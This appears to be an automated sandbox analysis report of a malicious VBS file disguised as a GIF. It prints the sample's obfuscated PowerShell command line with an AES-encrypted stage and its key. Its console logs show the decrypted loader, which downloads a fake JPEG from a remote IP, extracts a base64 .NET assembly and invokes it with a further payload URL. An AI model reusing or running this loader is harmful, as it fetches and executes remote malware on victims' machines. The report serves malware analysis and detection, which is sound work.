popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

simpleweightcreatednicething.gIF.vbs

Generic Malware Antivirus PowerShell
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6402 July 24, 2024, 9:11 a.m. July 24, 2024, 9:13 a.m.
Size 54.6KB
Type Little-endian UTF-16 Unicode text, with very long lines, with CRLF, CR line terminators
MD5 bc2278089ce81da106bd59335fa9e998
SHA256 a8b63d5d21be9c260d6b624f44b14caa228738d110eeac57f0cf7725a622c035
CRC32 04F5372E
ssdeep 1536:QdU+NdJIdJ4ZxedJasiNJjJl3ndZqbd6M0C+6kZp03mt2:CZx/vHZqpX+7U3S2
Yara None matched

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\simpleweightcreatednicething.gIF.vbs

    3024

    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31288118537265901671092296545801CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnI9qzw9rWNQXNXTkOMi91Vo37XNXwKsDkID6RFqNMIb+XDhn4Y5AbEg30f25b/EyGdGGjWsHDIIox1WuVuUdOUadjhme+5zvVV44oiyworfCO2lfsB1IQVwYt2W3SwF0Ux7M7imAEKs79W60z/0ynAsj8hj2vt/lnFQIiUMLXwxtg0ygxaA1q2xZSJwwSMDWyzIontKVe2xHt1HI77rYSt/VnOayqQ2yg7Mp48pY+uj2EZP74FtBnkcE9p92gZJxz+peJ+AKTzl7JeqJQuodXWFmK9sgGK4n13RybKFC+dVb8O8Krc/u05EdmP8zqWyMN4CIIIo6bc+uy3dadl98BZbD0z03uf3Oz6xO+gLfn9tOR1YKsukLXT2OScPDC2jP9f9Yqq+KSXQNHugPnILvW7k+DBL1ZjUxKLNlvCe0NOpwgh8+75a/DTYGBpNBdkSv6BeMFiZTOcAGGEAB5TlZIOZzRTBw8GIX57ryKhBD+OOgtPd2gLFQriTRl2LIoUqCZ1NdzqGQpGwwf4BXbnED2n7yIY2OKKYAovsduKNeTRlypT3jEkMxq1Z51SmOLPNtSqgYjTlhY1Pf+4wEgtf5RvJnRdkbil32H7SckZeqIf4a57uzHIqbcG+bjJT0/Q8jk0lXBCRIMGQd1Frr3sKLigZVlZV51M8hR24sv8ALa2EgO+gSMuthSXw3J2JazJgRKFhsjaMNJMFeeAuPC9u3bhyNRUUxtNbaEkf5p/2U/Td9f3luetP2LV6G1qctY5iGj1puWd+7Oa1A9Jx8sKWBfK7ssUEzfA5tRfwJs+Yig4neb6zjDL+RrpEHNFlkE8+TDOUhcNUOaaxmdagb669MaY6AUHuBGbW4T3clqQY3KqMWiWxvWFBjhAXh4oSmZFSY/+TaEY+Bjm7AbSBTspTWmyfY2HbT2L5cOwDGAAmIx3UR2NUByK70uEAvM2Yz5ioHv8hB18Qc2MMkbxqSrhFr41oRCPhdCx89cUfnKhXUDDd2TkPICClvjRXaMqZ9/NY0GbTYZhUyGeiljzB9o333Pd4tXJeCeAXf7pdSIB5lulheY+jHzCGimEp3VVl2AkjOwPbeoJhwjAUV22t+K1mLSHCLkb+kxdZ8PTVzqfErU5M/wAcukzKiEIWL67nmNrbrCQr0n4yiBww55JzH6QlqH4bo8R3wkrh+6GeX2DuozRIcrO+EJkFIyPGqzNOLbPmOMp2ywAQFZmKLtSNxMb1p4gtH1hzuGDw855hxFyyAs5y4m0NtXFrTGbDRUXgJ0rYRgPSAr/DFlNfYC4xRFI4A4HllUDOPIr2vsL8x87drooa8oqLFJuRFU8yqTyYdo3WNhu0QjHhbWlwKo+VZRctR1fsH+/yM/e99xk2kRcHOemzLzjSfiD4PKV4nvV6jwTReR+4NtyQtYW+KGUdbNqX7Wd4A==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')

      1188

Name Response Post-Analysis Lookup
pastecode.dev
A 172.66.40.229
A 172.66.43.27
172.66.40.229
IP Address Status Action
164.124.101.2 Active Moloch
172.66.40.229 Active Moloch
198.46.176.133 Active Moloch

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: Method invocation failed because [System.Security.Cryptography.AesManaged] does
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: n't contain a method named 'Dispose'.
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: At line:1 char:715
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: + function Decrypt-AESEncryption {Param([String]$Base64Text,[String]$Key)$aesMa
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: naged = New-Object System.Security.Cryptography.AesManaged;$aesManaged.Mode = [
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: System.Security.Cryptography.CipherMode]::CBC;$aesManaged.Padding = [System.Sec
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: urity.Cryptography.PaddingMode]::Zeros;$aesManaged.BlockSize = 128;$aesManaged.
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: KeySize = 256;$aesManaged.Key = (New-Object System.Security.Cryptography.SHA256
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: Managed).ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Key));$cipherBytes
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: = [System.Convert]::FromBase64String($Base64Text);$aesManaged.IV = $cipherBytes
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: [0..15];$decryptor = $aesManaged.CreateDecryptor();$decryptedBytes = $decryptor
console_handle: 0x0000009b
1 1 0

WriteConsoleW

 buffer: .TransformFinalBlock($cipherBytes, 16, $cipherBytes.Length - 16);$aesManaged.Di
console_handle: 0x000000a7
1 1 0

WriteConsoleW

 buffer: spose <<<< ();return [System.Text.Encoding]::UTF8.GetString($decryptedBytes).Tr
console_handle: 0x000000b3
1 1 0

WriteConsoleW

 buffer: im([char]0);}$chave = "31288118537265901671092296545801";$textoCriptografadoBas
console_handle: 0x000000bf
1 1 0

WriteConsoleW

 buffer: e64 = "9qzw9rWNQXNXTkOMi91Vo37XNXwKsDkID6RFqNMIb+XDhn4Y5AbEg30f25b/EyGdGGjWsHDI
console_handle: 0x000000cb
1 1 0

WriteConsoleW

 buffer: Iox1WuVuUdOUadjhme+5zvVV44oiyworfCO2lfsB1IQVwYt2W3SwF0Ux7M7imAEKs79W60z/0ynAsj8
console_handle: 0x000000d7
1 1 0

WriteConsoleW

 buffer: hj2vt/lnFQIiUMLXwxtg0ygxaA1q2xZSJwwSMDWyzIontKVe2xHt1HI77rYSt/VnOayqQ2yg7Mp48pY
console_handle: 0x000000e3
1 1 0

WriteConsoleW

 buffer: +uj2EZP74FtBnkcE9p92gZJxz+peJ+AKTzl7JeqJQuodXWFmK9sgGK4n13RybKFC+dVb8O8Krc/u05E
console_handle: 0x000000ef
1 1 0

WriteConsoleW

 buffer: dmP8zqWyMN4CIIIo6bc+uy3dadl98BZbD0z03uf3Oz6xO+gLfn9tOR1YKsukLXT2OScPDC2jP9f9Yqq
console_handle: 0x000000fb
1 1 0

WriteConsoleW

 buffer: +KSXQNHugPnILvW7k+DBL1ZjUxKLNlvCe0NOpwgh8+75a/DTYGBpNBdkSv6BeMFiZTOcAGGEAB5TlZI
console_handle: 0x00000107
1 1 0

WriteConsoleW

 buffer: OZzRTBw8GIX57ryKhBD+OOgtPd2gLFQriTRl2LIoUqCZ1NdzqGQpGwwf4BXbnED2n7yIY2OKKYAovsd
console_handle: 0x00000113
1 1 0

WriteConsoleW

 buffer: uKNeTRlypT3jEkMxq1Z51SmOLPNtSqgYjTlhY1Pf+4wEgtf5RvJnRdkbil32H7SckZeqIf4a57uzHIq
console_handle: 0x0000011f
1 1 0

WriteConsoleW

 buffer: bcG+bjJT0/Q8jk0lXBCRIMGQd1Frr3sKLigZVlZV51M8hR24sv8ALa2EgO+gSMuthSXw3J2JazJgRKF
console_handle: 0x0000012b
1 1 0

WriteConsoleW

 buffer: hsjaMNJMFeeAuPC9u3bhyNRUUxtNbaEkf5p/2U/Td9f3luetP2LV6G1qctY5iGj1puWd+7Oa1A9Jx8s
console_handle: 0x00000137
1 1 0

WriteConsoleW

 buffer: KWBfK7ssUEzfA5tRfwJs+Yig4neb6zjDL+RrpEHNFlkE8+TDOUhcNUOaaxmdagb669MaY6AUHuBGbW4
console_handle: 0x00000143
1 1 0

WriteConsoleW

 buffer: T3clqQY3KqMWiWxvWFBjhAXh4oSmZFSY/+TaEY+Bjm7AbSBTspTWmyfY2HbT2L5cOwDGAAmIx3UR2NU
console_handle: 0x0000014f
1 1 0

WriteConsoleW

 buffer: ByK70uEAvM2Yz5ioHv8hB18Qc2MMkbxqSrhFr41oRCPhdCx89cUfnKhXUDDd2TkPICClvjRXaMqZ9/N
console_handle: 0x0000015b
1 1 0

WriteConsoleW

 buffer: Y0GbTYZhUyGeiljzB9o333Pd4tXJeCeAXf7pdSIB5lulheY+jHzCGimEp3VVl2AkjOwPbeoJhwjAUV2
console_handle: 0x00000167
1 1 0

WriteConsoleW

 buffer: 2t+K1mLSHCLkb+kxdZ8PTVzqfErU5M/wAcukzKiEIWL67nmNrbrCQr0n4yiBww55JzH6QlqH4bo8R3w
console_handle: 0x00000173
1 1 0

WriteConsoleW

 buffer: krh+6GeX2DuozRIcrO+EJkFIyPGqzNOLbPmOMp2ywAQFZmKLtSNxMb1p4gtH1hzuGDw855hxFyyAs5y
console_handle: 0x0000017f
1 1 0

WriteConsoleW

 buffer: 4m0NtXFrTGbDRUXgJ0rYRgPSAr/DFlNfYC4xRFI4A4HllUDOPIr2vsL8x87drooa8oqLFJuRFU8yqTy
console_handle: 0x0000018b
1 1 0

WriteConsoleW

 buffer: Ydo3WNhu0QjHhbWlwKo+VZRctR1fsH+/yM/e99xk2kRcHOemzLzjSfiD4PKV4nvV6jwTReR+4NtyQtY
console_handle: 0x00000197
1 1 0

WriteConsoleW

 buffer: W+KGUdbNqX7Wd4A==";$textoDescriptografado = Decrypt-AESEncryption -Base64Text $
console_handle: 0x000001a3
1 1 0

WriteConsoleW

 buffer: textoCriptografadoBase64 -Key $chave;Write-Host "Texto Descriptografado: $texto
console_handle: 0x000001af
1 1 0

WriteConsoleW

 buffer: Descriptografado";Invoke-Expression $textoDescriptografado;
console_handle: 0x000001bb
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : InvalidOperation: (Dispose:String) [], RuntimeEx
console_handle: 0x000001c7
1 1 0

WriteConsoleW

 buffer: ception
console_handle: 0x000001d3
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : MethodNotFound
console_handle: 0x000001df
1 1 0

WriteConsoleW

 buffer: Texto Descriptografado: $link = 'http://198.46.176.133/Upload/vbs.jpeg'; $webClient = New-Object System.Net.WebClient; try { $downloadedData = $webClient.DownloadData($link) } catch { Write-Host 'Failed To download data from $link' -ForegroundColor Red; exit }; if ($downloadedData -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($downloadedData); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('dnlib.IO.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.zgruB/839/11.222.381.64//:ptth' , 'desativado' , 'desativado' , 'desativado','RegAsm','desativado')) } }
console_handle: 0x000001fb
1 1 0

WriteConsoleW

 buffer: Exception calling "Invoke" with "2" argument(s): "The requested security protoc
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: ol is not supported."
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: At line:1 char:916
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: + $link = 'http://198.46.176.133/Upload/vbs.jpeg'; $webClient = New-Object Syst
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: em.Net.WebClient; try { $downloadedData = $webClient.DownloadData($link) } catc
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: h { Write-Host 'Failed To download data from $link' -ForegroundColor Red; exit
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: }; if ($downloadedData -ne $null) { $imageText = [System.Text.Encoding]::UTF8.G
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: etString($downloadedData); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE6
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: 4_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $sta
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: rtIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64C
console_handle: 0x0000009b
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00315b98
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003158d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003158d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003158d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003154d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003154d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003154d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003154d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003154d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003154d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00314fd8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00314fd8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00314fd8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00315ad8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00315ad8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00315ad8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00315698
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00315ad8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00315ad8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00315ad8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00315ad8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00315ad8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00315ad8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00315ad8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00315998
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00315998
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00315998
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00315998
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00315998
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00315998
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00315998
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00315998
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00315998
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00315998
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00315998
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00315998
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00315998
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00315998
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00315118
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00315118
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00315098
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00315098
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00315098
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00315098
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00315b18
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00315b18
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00315498
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00315498
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
suspicious_features GET method with no useragent header, Connection to IP address suspicious_request GET http://198.46.176.133/Upload/vbs.jpeg
request GET http://198.46.176.133/Upload/vbs.jpeg
request GET https://pastecode.dev/raw/6l7qjjrz/paste1.txt
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 1310720
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02870000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02970000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1188
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73971000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x025fa000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1188
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73972000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x025f2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02602000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02971000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02972000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0266a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02603000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02604000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026bb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026b7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x025fb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02662000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026b5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02605000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0266c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02940000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02606000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026bc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02663000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
